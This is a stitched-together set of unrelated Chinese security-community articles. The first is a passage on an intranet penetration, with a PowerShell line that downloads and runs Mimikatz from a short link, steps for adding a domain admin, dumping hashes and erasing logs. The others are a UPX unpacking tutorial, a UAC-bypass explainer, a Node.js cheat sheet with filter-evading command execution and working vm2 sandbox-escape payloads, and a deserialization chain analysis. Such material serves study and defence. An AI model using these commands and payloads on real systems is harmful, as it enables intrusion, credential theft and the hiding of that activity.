Net.WebClient).DownloadString('http://is.gd/oeoFuI');Invoke-Mimikatz-DumpCreds"`
这里我们先使用powerview脚本来获取当前域管理员在线登录的服务器，我们将powerview脚本的Invoke-UserHunter模块上传主机名pavmsep131，IP为10.51.0.131的服务器中，然后使用命令Invoke-UserHunter。
具体命令如下：
`powershell.exe -exec bypass -Command "&{Import-Module
.\powerview.ps1;Invoke-UserHunter}"`
可以看到域管理员当前在线登陆的机器为主机名PAVMSXD30,ip为10.51.0.30的服务器，此时我们需要入侵此服务器然后迁移到域管理登陆所在的进程，便拥有了域管理的权限。
## 0x08 获取域管权限
现在我们通过powershell成功的获取到主机名PAVMSXD30,ip为10.51.0.30的服务器权限，接下来我们就可以去搞域控了。
我们先利用getsystem命令提升下自己的权限，如下图所示。
可以看到我们现在的UID是sonicwall，从前面获取到的域管理员账号信息中，我们得知sonicwall是域管理员。
然后利用PS命令找到域管理所在的进程，把meterpreter shell进程迁移到此进程中，成功后我们就获得了域管理权限。如下图所示。
这里除了迁移进程外，也可以使用Metasploit中的窃取令牌功能，同样也可以获得域管理权限。
接着我们来查看主域控IP，这里用net time命令，一般来说时间服务器都为域服务器。
可以看到域服务器的主机名为PAVMSAD64,IP地址为10.51.0.63。
现在我们可以使用经典的IPC$入侵来反弹一个meterpreter shell了，具体操作看下图。
提示一个什么schtasks.exe的错误，失败了，好吧，我们换个思路。因为我们现在已经在域管理员权限下面了，所以我们来给域控添加个管理员账户，如下图所示。
看下是否添加成功，利用如下命令。
net group "domain admins" /domain
可以看到我们已经添加成功了。
## 0x09 登陆域控
现在域控的权限也终于到手了。接下来我们就要登陆域控，然后抓域控的HASH。
整理下思路，常见的登录域控的方式有以下几种:
1. 端口转发或者 socks 登录域控远程桌面，可以参考我的另一篇文章[内网漫游之SOCKS代理大结局](http://bobao.360.cn/learning/detail/3502.html%20"%E5%86%85%E7%BD%91%E6%BC%AB%E6%B8%B8%E4%B9%8BSOCKS%E4%BB%A3%E7%90%86%E5%A4%A7%E7%BB%93%E5%B1%80")
2. 登录对方内网的一台电脑使用psexec来反弹shell
3. 使用metasploit下面的psexec或者smb_login来反弹meterpreter
我们这里采用最常见也是效果最好的metasploit下面的psexec来反弹meterpreter。
使用时注意以下2点：
1. msf中psexec模块的使用
2. cuestom模块的使用，使用自己Veil生成的免杀payload。
我们可以看到已经反弹成功了，我们先迁移下进程，然后看下域控的系统信息和sessions控制图。
>
> 思路：可以看到现阶段控制的session共有5个。其中session1为webshell反弹，session2是利用ipc$入侵，session4是为获取域管在线服务器所获取，session5为域。整个渗透过程，一环套一环，环环相扣，缺一不可！
有了域控的权限之后，接着我们来抓HASH,常用的有下面几种方法：
1. 使用metasploit自带的dumphash模块。一个是 hashdump，此模块只能导出本地的hash。另外一个是smart_hashdump,此模块可以用来导出域用户的hash。
2. powershell利用模块直接导出。
3. wce,mimikatz等神器的使用。
在这里我们使用metasploit自带的dumphash模块。在此需要注意的是要想使用此模块导出hash，必须要有system的权限才行。具体操作如下图：
## 0x10 SMB爆破内网
有了域控的密码，接下来我们要做的事情就很简单了，就是快速的在内网扩大控制权限。具体如下：
1. 利用当前获取到的域控账户密码，对整个域控IP段进行扫描。
2. 使用smb下的smb_login模块
3. 端口转发或者SOCKS代理进内网
我们先在metasploit添加路由，然后使用smb_login模块或者psexec_scanner模块进行爆破。具体操作见下图。
可以看到我们获取了大量内网服务器的密码。下面我们就可以畅游内网了。可以使用meterpreter的端口转发，也可以使用metasploit下的socks4a
模块或者第三方软件。
>
> 具体可以参考我的另一篇文章[内网漫游之SOCKS代理大结局](http://bobao.360.cn/learning/detail/3502.html%20"%E5%86%85%E7%BD%91%E6%BC%AB%E6%B8%B8%E4%B9%8BSOCKS%E4%BB%A3%E7%90%86%E5%A4%A7%E7%BB%93%E5%B1%80")
这里我们简单的使用meterpreter的端口转发即可。
## 0x11 清理日志
作为一个渗透测试民间爱好者，一定要切记要在渗透的过程中注意保护自己，不要破坏服务器，还要把自己PP擦干净。
主要以下几步:
1. 删除之前添加的域管理账号
2. 删除所有的使用过程中的工具
3. 删除应用程序，系统和安全日志
4. 关闭所有的meterpreter连接 | 社区文章 |
# 使用x64dbg脱壳之开源壳upx
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
# 使用x64dbg脱壳之开源壳upx
## 引言
大家好我是蓝铁，你们的老铁，^_^
我们知道在分析病毒的时候，最常见的一种壳就是upx，使用upx的好处就是压缩率还不错，可以让原程序缩小一倍，便于在网络中传输。本节就是以开源壳upx为例讲解x64dbg中的脱壳方法。
## 脱壳中的一些常见概念
首先我向大家介绍一下脱壳相关的概念。
* 壳
外壳，英文为shell,在黑客技术中，一种比较高超的加密技术，对可执行文件(例如windows下的exe文件、Linux下的elf文件)进行加密压缩处理的技术。
一般对可执行文件加壳的目的有三：
① 软件加壳，保护数据、防止破解
② 外挂加壳，保护数据、防止破解
③ 病毒加壳，防止被查杀。
常见的壳分为压缩壳和加密壳两种，upx属于压缩壳。
* 脱壳
对加密处理的文件进行反分析，将已有的保护外壳去掉的过程。
* OEP
程序入口点，程序最开始执行的地方。
* 原始OEP
当程序加壳之后，壳会修改程序入口点，会先执行壳代码，会将原程序的入口点隐藏，这里我们把原程序的入口点称为原始OEP。
* dump内存
将内存中的数据或代码转储(dump)到本地
* IAT
导入地址表，windows下可执行文件中文件格式中的一个字段，描述的是导入信息函数地址，在文件中是一个RVA数组，在内存中是一个函数地址数组。(关于PE文件相关的知识可以通过搜索引擎查阅一下)
* 修复IAT
脱壳中比较重要的一步，不论是压缩壳还是加密壳，在脱壳过程中都需要修复IAT，因为脱壳时会将内存中的数据转储(dump)到本地，保存成文件，而IAT在文件中是一个RVA数组，在内存中是一个函数地址数组。我们需要将转储出来的文件中的IAT修复成RVA数组的形式，这样程序才算是恢复。
* 脱壳的环境
这个单独出来说，主要原因就是不同的系统脱壳时遇到的问题可能是不一样的，因为脱壳时要修改IAT，而不同系统中同一个模块的API导出的顺序是不一样的，所以修复时一般都会出现点问题。因此，我建议脱壳的环境应该是在32位系统的虚拟机中，
**以下的所有操作应该在32位系统的虚拟机中操作** ，64位系统下可能会出现意想不到的问题。
## 脱壳中的一些方法
脱壳算是软件逆向技术中一种比较难的技术，方法也有很多，我在这里先介绍有代表性的方法：
### 单步跟踪(踏踏实实法)
一步一步分析每一条汇编指令，吃透每一行汇编背后所代表的意思，将壳代码读懂，从而找到原始OEP然后脱壳。这种方法是最锻炼人的，也是最难的。即使一个有经验的逆向分析者在对一个陌生的加壳程序分析时也需要花费很多时间，但这就是逆向工程的魅力，挑战自我，挑战才能突破。一般这种方法是在我们学习逆向工程时或是不能使用技巧时才会用的方法，耐心是这个方法的关键。
### 平衡堆栈(又称ESP定律,技巧法)
一般加壳程序在运行时，会先执行壳代码，然后在内存中恢复还原原程序，再跳转回原始OEP，执行原程序的代码，我们可以把壳代码理解为一个大的函数，既然是函数，那么进入函数和退出函数时，堆栈应该就是平衡的，基于这样的一种特性，我们可以在壳代码操作了堆栈之后，对堆栈设置访问断点，然后让程序跑起来，当程序暂停的时候，就是壳代码即将执行完的时候，然后在其附近单步跟踪，就可以找到原始OEP了。这种方法比较适用于upx这种只对代码和数据压缩了的壳，如果还对代码加密了，那么就不是太好找了。加密的话就需要结合单步跟踪法。
### 脱壳三步法
不管是哪种脱壳方法，都需要遵循脱壳三步法，脱壳三步法分为以下三步：
① 寻找原始OEP
这一步骤的主要作用就是要确定原始程序代码到底在哪里，能找到原始程序的代码，说明壳代码执行完了，我们只有找到原始OEP才能进行下一步的动作。
② dump内存到文件
当我们找到原始OEP，调试运行到原始OEP时，只要代码被还原，我们就可以在这个地方进行dump内存，将内存中被还原的代码和数据抓取下来，重新保存成一个文件，这样脱完壳时，我们就可以用静态分析工具分析程序了。
③ 修复文件
这一步主要就是修复IAT，对从内存中转储到本地的文件进行修复。
## 下载upx与使用upx对文件加壳
### 下载upx
upx壳的官网是：<https://upx.github.io/>
下载最新版的upx：<https://github.com/upx/upx/releases/tag/v3.94>
本次实验使用的是windows版的upx，所以下载的版本是：
### 使用upx对文件加壳
下载完之后，解压开可以找到upx加壳的主程序`upx.exe`，我们可以对任意程序进行加壳，可以使用命令行进行加壳。
以VC6.0编写的一个程序为例，对其进行加壳，加壳之前我们先使用x64dbg查看一下其OEP:
可以观察一下OEP有什么特点？
然后我们使用命令行对vc6.0的demo程序加壳
可以看到，加壳之后，文件大小从200多K变成了90多K。
再使用x64dbg观察加壳后程序的OEP：
可以发现，加壳之后的程序和加壳前真的很不一样，所以我们才要进行脱壳。
## 使用x64dbg脱壳之寻找OEP
寻址OEP的方法有多种，这里我们使用前面介绍的平衡堆栈法，我们使用x64dbg调试加壳后的程序，观察oep处的指令，可以发现OEP的第一条指令是`pushad`，其作用一般是保存寄存器环境，可以将8个通用寄存器都压入堆栈，那么我们可以单步程序(F8)，执行`pushad`，这样堆栈就会发生变化，而后我们可以在堆栈栈顶处，即ESP指向的内存处，设置硬件访问断点，
我们可以在x64dbg中的寄存器窗口处，选中esp,然后右键选中`在内存窗口中转到`
然后在内存窗口处，右键设置硬件访问断点
之后，可以使用快捷键F9运行程序,程序会再次暂停下来，我们观察附近指令
可以发现我们暂停的指令上方就是`popad`指令，一般遇到`popad`指令，就离原始OEP不远了，因为执行完`popad`指令意味着壳代码告一段落了。
继续单步，可以发现一个比较大的jmp跳转。这个jmp其实就会跳转到原始OEP。
实际上在分析时，我们是先单步到jmp跳转到的代码进行观察之后得出是否是原始OEP的结论的，这个部分需要我们对未加壳程序的OEP要有所了解，比如VC6.0的程序一般OEP最开始的一个API调用是`GetVersion`,看OEP见到`GetVersion`就如见到了vc6.0程序。
我们单步到跳转之后的代码处，`409376`,这个地方就是原始OEP，而后我们要做的就是在这个地方进行dump。
## 使用x64dbg脱壳之dump内存
当我们找到原始OEP时，我们运行到此处，然后对当前程序的内存进行dump，需要使用x64dbg中的一个插件：Scylla。
### 打开插件Scylla
使用快捷键`Ctrl+I`可以直接打开插件，进行dump。
### Scylla的使用
注意，dump时需要填写正确的原始OEP地址，然后点击Dump按钮保存文件。
保存完毕之后，最后就是修复文件了。
## 使用x64dbg脱壳之修复文件
修复文件，本质上就是修复IAT，所以还是使用插件Scylla，先对当前程序的IAT进行扫描，如果能找到就可以使用工具修复，不能就需要手动修复。
为了能更好的获取IAT，我们需要对插件Scylla进行设置。
* 打开设置
* 设置高级扫描
* 查找IAT
* 获取导入表
* 修复上一节的dump文件
* 最终生成文件
最终会生成的文件是：vc6.0_demo_dump_SCY.exe
当运行时发生了一个问题，出现了访问异常
使用x64dbg单步跟踪，发现出现异常的地方
根据这个地址以及经验可以猜出，可能是这个地址所在的区段的属性不可写。使用LordPE，可以查看区段属性，如下图，果然是没有可写的属性。
将其可写属性打钩，保存文件即可添加属性，这样就完成了脱壳。
## 测试结果
最后我们可以运行已经脱壳修复完成的程序，先使用PEID查看一下区段，然后运行。
## 总结
脱壳这门技术在任何一个平台下都是比较难的技术，想要练成这项技术，除了对汇编语言要非常熟悉之外，还需要对可执行文件的格式很熟悉，并且对可执行文件的加载流程还有一定认识，比如在这一节中，我们讲到了一个名词，修复IAT，只有对可执行文件加载流程理解了，修复IAT才会真正理解。综上，脱壳技术的练习是综合练习，我们从Upx开始，一步一步去分析现在主流的病毒混淆壳吧！希望大家可以跟着我尝试练习^_^。 | 社区文章 |
# 利用注册表键值绕过UAC实现提权
##### 译文声明
本文是翻译文章，文章来源：https://attackiq.com
原文地址：<https://attackiq.com/blog/2018/05/14/bypassing-uac-using-registry-keys/>
译文仅供参考，具体内容表达以及含义原文为准。
## Think Bad,Do Good
近期我们打算公开一系列文章，本篇文章为第一篇，欢迎大家的阅读。我们的目的是提供足够多的和安全威胁相关的技术数据来解决大家心中的疑惑，不仅如此，也希望大家可以理解我们所面临安全威胁的内部技术原理。
这一系列的文章列举了一些我们认为大家会比较感兴趣且熟知的攻击场景。某些攻击技术涉及的技术复杂度比较高，我们会进一步的分析纰漏攻击技术的细节。我们将尽最大的努力去研究攻击者使用的技术，从而保护我们的客户，实践我们的理念”Think
Bad,Do Good”。
那话不多说，让我们看看这一系列的第一篇文章吧！
## 利用注册表键值绕过UAC
UAC是windows用于阻止对于系统未授权的更改而引入的一项特性，本篇文章将展现攻击者如何静默的绕过UAC的限制实现提权。UAC从Windows
vista和Windows2008开始引入，
当系统发生了重要的更改会用来提醒用户。例如：UAC在系统发生重要更改时会弹出一个窗口，用来征询用户的同意，会向用户详细说明是哪一个程序将会对系统进行哪些修改，在弹出窗口的同事，屏幕的其他区域将是无法点击的，这样做会使用户更容易注意到这个提醒。
事实证明，这项安全特性对用户非常有帮助，通过这项技术用户能够了解系统到底发生了什么改变，并且也能够了解是何时何种程序对系统进行了修改。因此绕过UAC称为了一种广为人知的攻击技术，在”MITRE
ATT&CK matrix”中被归到”Defense Evasion and Privilege Escalation”这一类。
### 技术细节
由于UAC能够阻止恶意软件未经授权便对系统进行修改，这使得攻击者长期以来一直在寻找新的方法绕过UAC的限制，从而实现静默的修改系统。现在已经有多种不同的方法绕过UAC，本篇文章专注于通过注册表这一种方式。
我们所研究的这种绕过UAC的方式是针对那些系统自带的，默认权限为”auto-elevated”的程序，它们在执行过程中需要依赖某些注册表项，并且能以较高权限执行第三方程序。这三个条件是实现绕过UAC所必须的
1. 这些系统自带的”auto-elevated”程序必须能启动第三方程序
2. 在这些系统程序执行过程中必须会读取注册表中的某些键值，这些键值必须包含一个用于启动第三方程序的路径信息
3. 第三方程序能静默的以较高权限启动
例如我们在WIN7中使用的用来绕过UAC的系统自带程序是eventvwr.exe。这个特权程序可以认为是MMC的快捷方式
当eventvwr.exe启动时，它会检查是否存在一个指定的bin文件用来支持MMC的snap-in，至于检查是否存在这个文件的方式便是查找键值”
HKEY_CURRENT_USERSoftwareClassesmscfileshellopencommand”，如果该键值存在那么该项内容将能用来绕过uac限制，如果不存在那么系统将会加载默认程序。
由于系统在不断的更新修复，不同版本系统我们所依赖的系统自带特权程序是不同的，由于目前并没有一个能够通用的特权程序以及相关键值，因此我们在本篇文章中分别会介绍一个WIN7下和WIN10下能被用来绕过UAC的案例。
### Win7下的技术细节
系统自带的特权程序:eventvwr.exe
相关的注册表路径：HKEY_CURRENT_USERSoftwareClassesmscfileshellopencommand
为了演示这项技术我们首先修改上述键值为：C:WindowsSystem32cmd.exe。现在注册表已经被修改了，执行eventvwr时将会加载我们设定的文件，最终新创建的进程将会是高完整性，允许我们访问一些受保护的特权资源。
(以下是译者的实验：
在eventvwr启动过程中会读取相应键值：
译者环境机器中没有HKEY_CURRENT_USERSoftwareClassesmscfileshellopencommand这一键值，于是使用的上图中第二行的键值并设置路径：
运行结果如下：
译者按原文设置注册表路径后同样也能得到相同结果：
可以看到两种方式都能得到一个高完整性的calc进程。
### WIN10下的技术细节
系统自带特权程序：sdclt.exe
注册表路径：HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionApp
Pathscontrol.exe
第一步和win7中一样，修改相应的键值为C:WindowsSystem32cmd.exe，键值修改后，运行sdctl.exe便会加载我们指定的cmd.exe.最终将会看到一个新的进程被创建完整性为high。
我们的研究团队正在寻找是否有方法能够阻止类似的攻击手段。我们可以通过提取攻击特征场景的方式来实现这一目标，比如说我们提到的这种方式，就需要修改某些特定的键值。利用这些固定的场景特征我们是有能力去识别出这类基于注册表修改的攻击方式的，当然还有其他的特征场景，比如修改特定文件、执行系统命令等等。
### **缓解措施**
大部分的技术都依赖于相同的准则，缓解措施也一样，最简单的缓解措施就是把UAC级别设置为”Always Notify”。
还有一种不同的缓解措施可以适用于那些无法将UAC级别设置为”Always
Notify”的场景(从系统安全的角度来说并不推荐这么做)，这种方法就是监控和阻止对以下两个键值的访问和修改：
HKEY_CURRENT_USERSoftwareClassesmscfileshellopencommand
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionApp Pathscontrol.exe
除了这些措施，我们也建议您尽可能使用普通账号，而不是特权账号。
## 总结
从这篇文章来看展示的是利用白名单程序绕过系统限制的思路，总的来说就是分析白名单程序的运行时行为，利用白名单程序的参数、或者其他信息来实现借鸡生蛋的目的，那么缓解措施也就可以着重于白名单程序的行为特征，应该可以酌情对于白名单程序的行为也建立一个白名单，从而减少利用白名单程序bypassuac的情况。
## 参考链接
[https://technet.microsoft.com/en-us/library/cc709691(v=ws.10).aspx](https://technet.microsoft.com/en-us/library/cc709691\(v=ws.10\).aspx)
[https://msdn.microsoft.com/en-us/library/windows/desktop/bb648649(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/bb648649\(v=vs.85\).aspx)
[https://msdn.microsoft.com/en-us/library/bb742441.aspx](https://msdn.microsoft.com/en-us/library/bb742441.aspx)
[https://technet.microsoft.com/en-us/library/cc749356(v=ws.11).aspx](https://technet.microsoft.com/en-us/library/cc749356\(v=ws.11\).aspx)
[https://technet.microsoft.com/en-us/library/cc766401(v=ws.11).aspx](https://technet.microsoft.com/en-us/library/cc766401\(v=ws.11\).aspx)
[https://support.microsoft.com/en-us/help/17127/windows-back-up-restore](https://support.microsoft.com/en-us/help/17127/windows-back-up-restore)
[https://msdn.microsoft.com/en-us/library/bb625957.aspx](https://msdn.microsoft.com/en-us/library/bb625957.aspx)
[https://msdn.microsoft.com/en-us/library/bb625963.aspx](https://msdn.microsoft.com/en-us/library/bb625963.aspx)
[https://attack.mitre.org/wiki/Main_Page](https://attack.mitre.org/wiki/Main_Page)
[https://attack.mitre.org/wiki/Technique_Matrix](https://attack.mitre.org/wiki/Technique_Matrix)
[https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/](https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/)
[https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/](https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/)
[https://github.com/hfiref0x/UACME](https://github.com/hfiref0x/UACME)
[https://github.com/hfiref0x/UACME/blob/master/Source/Akagi/methods/enigma0x3.c](https://github.com/hfiref0x/UACME/blob/master/Source/Akagi/methods/enigma0x3.c)
[https://www.rapid7.com/db/modules/exploit/windows/local/bypassuac_eventvwr](https://www.rapid7.com/db/modules/exploit/windows/local/bypassuac_eventvwr)
[https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/bypassuac_eventvwr.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/bypassuac_eventvwr.rb) | 社区文章 |
#### nodejs中的漏洞技巧
#### 关于原型链
在javascript中，继承的整个过程就称为该类的原型链。
每个对象的都有一个指向他的原型(prototype)的内部链接，这个原型对象又有它自己的原型，一直到null为止。
在javascript中一切皆对象，因为所有的变量，函数，数组，对象
都始于object的原型即`object.prototype`，但只有类有对象，对象没有，对象有的是`__proto__`。
like:
日期时：
`f -> Data.prototype -> object.prototype->null`
函数时：
`d -> function.prototype -> object.prototype->null`
数组时：
`c -> array.prototype -> object.prototype->null`
类时：
`b -> a.prototype -> object.prototype->null`
当要使用或输出一个变量时：首先会在本层中搜索相应的变量，如果不存在的话，就会向上搜索，即在自己的父类中搜索，当父类中也没有时，就会向祖父类搜索，直到指向`null`，如果此时还没有搜索到，就会返回
`undefined`。
根据上图可知，访问`f1`原型的三种方式：
console.log(f1["__proto__"])
console.log(f1.__proto__)
console.log(f1.constructor.prototype) #这样可以看出对象的__proto__属性，指向类的原型对象prototype
而访问到函数的方式则为：
console.log(f1.constructor.constructor) #这样我们就获取到了Function,可以构造出匿名函数来进行命令执行了。
#### 关于merge函数
在`js`当中如果存在使用`merge`函数或`clone`函数的情况下，可能会产生原型链污染。
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
`merge`函数首先迭代第二个对象b上的所有属性(因为在相同的键值对的情况下，第二个对象是优先的)。
如果属性同时存在于第一个和第二个参数上，并且它们都是`Object`类型，那么`Merge`函数将重新开始合并它。
在这里可以控制`b[attr]`的值，将`attr`设为`__proto__`，也可以控制b中`proto`属性内的值，那当递归时，`a[attr]`在某个点实际上将指向对象a的原型，至此通过递归我们向所有对象添加一个新属性。
需要配合`JSON.parse`使得我们输入的`__proto__`被解析成键名，JSON解析的情况下，`__proto__`会被认为是一个真正的“键名”，而不代表“原型”，否则它只会被当作当前对象的”原型“而不会向上影响
>let o2 = {a: 1, "__proto__": {b: 2}}
>merge({}, o2)
<undefined
>o2.__proto__
<{b: 2}
>console.log({}.b)
<undefined //并未污染原型
>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
>merge({},o3)
<undefined
>console.log({}.b)
<2 //成功污染
#### 关于child_process
`nodejs`基于事件驱动来处理并发，本身是单线程模式运行的。`Nodejs`通过使用`child_process`模块来生成多个子进程来处理其他事物。
在`child_process`中有七个方法它们分别为：`execFileSync`、`spawnSync`,`execSync`、`fork`、`exec`、`execFile`、以及`spawn`,而这些方法使用到的都是`spawn()`方法。
在`Nodejs`中，`nodejs`通过使用`child_process`模块来生成多个子进程来处理其他事物就包括4个异步进程函数分别为`spawn`,`exec`,`execFile`,`fork`和3个同步进程函数`spawnSync`,`execFileSync`,`execSync`。
#### 关于nodejs的命令执行
对于`nodejs`我们尝试用`require`来开启子进程进行命令执行。
假设题目需要绕过一些敏感字符，如`exec`，所以我们有多种方法即字符串拼接或者字符串的编码转换，在`nodejs`当中，对于十六进制编码与`unicode`编码都是适应的。
所以原先的：`eval=require("child_process").execSync('cat fl001g.txt')`
可以转变为：`eval=require("child_process")['exe'%2b'cSync']('cat fl001g.txt')`
或者是：`eval=require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat
fl001g.txt')`
以及`unicode`编码:`eval=require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat
fl001g.txt')`
包括模板字符串：`eval=require(%22child_process%22)[`${`${`exe`}cSync`}`](%27ls%27)`。
###### 文件读取
有些时候只是为了读取文件的话，可以直接利用`fs`模块。
`Node.js` 文件系统（`fs` 模块）模块中的方法均有异步和同步版本，例如读取文件内容的函数有异步的 `fs.readFile()` 和同步的
`fs.readFileSync()`。
并且我们可以利用`fs`模块来进行目录的查看：
fs.readdir(path, callback)
除此之外进行文件的写入也可以，直接写入一个`js`文件通过调用`child_process`来编写一个`shell`。
`eval=require(%22fs%22).writeFileSync('input.txt', 'sss')`
如果具有权限，完全还可以利用`unlink`把`ssh key`给删除然后在重新写入。
#### 关于nodejs中spawn与exec的区别
异步函数`spawn`是最基本的创建子进程的函数，其他三个异步函数都是对`spawn`不同程度的封装，即`exec`，`execfile`,`fork`。
所以他们的区别就是`spawn`只能运行指定的程序，参数需要在列表中给出，而`exec`可以直接运行复杂的命令。
要运行`du -sh /disk1`命令， 使用`spawn`函数需要写成`spawn('du', [''-sh ',
'/disk1'])`，而使用exec函数时，可以直接写成`exec('du -sh /disk1')`。
#### 当require被禁用时
我们可以使用`通过global全局对象加载模块`来调用子进程。
global.process.mainModule.constructor._load('child_process').exec('ls');
利用`Function`进行执行：
Function("global.process.mainModule.constructor._load('child_process').exec('ls')")();
利用`setInterval`进行命令执行：
setInteval(function, 2000) #即间隔两秒
利用`setTimeout`进行命令执行：
setTimeout(function, 2000) #即两秒后执行
#### 关于反弹shell
在`nodejs`当中与`java`有些类似，反弹`shell`需要进行一些额外的编码解码才能够规避掉一些敏感词，例如`+`号
shell反弹：
code=require('child_process').exec('cmd'|base64 -d|bash');
#### 对于vm&&vm2
`vm2`调用者`vm`的`api`，`vm2`在`vm`的基础上创建了一层沙箱。
在创建vm环境时，主要就是创建一个隔绝的环境，将执行代码放入隔绝的上下文当中。
在这里`vm.Script(code)`就是我们要执行的部分，而`vm.createContext(example)`是创建的隔离对象，但是`example`并没有被进行限制，导致能够访问原型，根据上面的图我们可以构造欻匿名函数：
`const script = new vm.Script("this.constructor.constructor('return
this.process.env')()");`
所以，在`vm`当中逃逸就用到了这种创建函数的方式：
因为这个函数的是依托于`main`函数，所以逃脱了限制。
进一步执行命令也就是利用含函数调用`child_process`以及`mainMoudle`来进行。
`this.constructor.constructor('return
process')().mainModule.require('child_process').execSync('whoami').toString()`
对于`vm2`，`vm2`拦截了对 `constructor` 和 `__proto__`
属性的访问，导致我们无法逃脱沙箱，挂载在原型下，而`vm2`的`sadbox.js`对常见的命令执行的函数进行了过滤，比如
`setTimeout`，`setInterval` 等。
通常对于`vm2`调用方法就简便上一些：
而这其中其实现的方式与`vm`是相同的。
const script = new VMScript("let test = 1;test"); (vm2)--> const cmd = new vm.Script("this.constructor.constructor('return this.process.config')()"); (vm1)
let vm = new VM() (vm2)--> const context = vm.createContext(sandbox) (vm1)
vm.run(script) (vm2) --> dir = cmd.runInContext(context) (vm1)
对于第二步，在其中就是创建了一个沙箱环境：
1. 调用vm.createContext创建上下文context
2. 调用lib目录下的sandbox.js对其进行封装，生成一个匿名函数
3. 将这个匿名函数的this为context
导致我们无法对其造成污染：
追溯在`github`当中可以发现一些绕过的方法：
`Breakout in v3.6.9`:`https://github.com/patriksimek/vm2/issues/186`
`Breakout in v3.8.3`:`https://github.com/patriksimek/vm2/issues/225`
#Breakout in v3.8.3
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
这里是利用`buffer.from`创建一个代理抛出异常`throw f=>f.constructor("return
process")()`被`vm2`内部代码给捕获，再被`catch`给捕获,此时由于对`() => {}`不正确的处理导致了沙箱的逃逸。
###### hackim-2019
在`vm2`当中，可以通过制造错误，引起外部报错，再捕获外部的报错来判断是否存在`vm2`。
在这里通过报错可以发现，服务器使用了`vm2`.
使用`v3.6.9的poc`：
"use strict";
const {VM} = require('vm2');
const untrusted = `
var process;
try{
Object.defineProperty(Buffer.from(""),"",{
value:new Proxy({},{
getPrototypeOf(target){
if(this.t)
throw Buffer.from;
this.t=true;
return Object.getPrototypeOf(target);
}
})
});
}catch(e){
process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
执行命令即可获取`flag`。
#### 关于模板字符串利用
模板字符串（template
string）是增强版的字符串，用反引号（`）标识。它可以当作普通字符串使用，也可以用来定义多行字符串，或者在字符串中嵌入变量，而如果在模板字符串中需要使用反引号，则前面要用反斜杠转义，另外在模板字符串中嵌入变量需要将变量名卸载`${}`当中。
利用模板字符串，我们可以生成一种嵌套模板
`${`${`constructo`}r`}` 拼接完之后可以变为 constructor
解析的顺序就是： `${`constructor`}`--->constructor
###### HUFUCTF just_escape
在虎符ctf中，就出现了利用模板嵌套来进行绕过,题目用的是`vm2`，利用`poc`就可以执行命令，但是题目过滤了一些关键词，导致`poc`需要进行一些更改，我们十六进制以及`unicode`编码或者就是模板嵌套可以进行绕过。
(function (){
TypeError[`${`${`protot`}ype`}`][`${`${`get_proc`}esss`}`] = f=>f[`${`${`construc`}tor`}`](`${`${`return this.proc`}ess`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proc`}ess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
}
})()
或者是：
(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x63x6fx6ex73x74x72x75x63x74x6fx72`](`x72x65x74x75x72x6ex20x70x72x6fx63x65x73x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`x67x65x74x5fx70x72x6fx63x65x73x73`](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))[`x65x78x65x63x53x79x6ex63`](`whoami`).toString();}})()
### # | 社区文章 |
**背景：**
励志做一个摸鱼仔，无奈摸鱼摸到一半，老大发了一个pcap包，说是应急单位在溯源，想要还原出攻击代码。无奈之下只有从摸鱼的状态恢复回来。
包是这个样子的，熟悉的小伙伴已经大概清楚了，是个反序列化的数据。我们要还原就要把数据提取出来。利用wireshark导出字节流，在本地打开看看。
接下来就是还原数据了。开始找的文章说可以直接命名class然后用反编译工具打开。试了一下死活不成，后来仔细想了一下，反序列化的数据要是能直接用反编译就见鬼了。那就笨办法，直接反序列化数据出来，然后跟一下链子的执行过程。代码如下，接下来在idea里面开冲。
**流程分析**
由于一开始不知道是哪里触发的，只能在readObject下个断点跟踪一下。根据最后跳到的readObject来看，进入了hashset.ReadObject()。也就是说触发点
hashset.ReadObject()。
利用hashmap，走到了put()方法中。有hash和hashval方法，传入了一个key
foo。这几分析了之前的CC链就知道，是hash()里面存在问题。跟进去看看
进入hash()，走到了hashcode，这里发现了是TiedMapEntry对象。也就是说构造的链子应该是利用TiedMapEntry来进行包裹了。
利用CC1中的lazyMap进行触发。也就是说，我们需要new一个lazymap存放我们的恶意链，然后用TiedMapEntry来进行包裹。最后放到hashset中，大概是这样子。和CC6一样的。
跟到这里 ，链子主要的环节出来了 看看链子组里放了哪些
ConstantTransformer（实例化对象用）
实例化的类
javax.script.ScriptEngineManager（调用java实现解析js）
Integer
InvokerTransformer（反射调用对应的方法）
newInstance
getEngineByName
eval
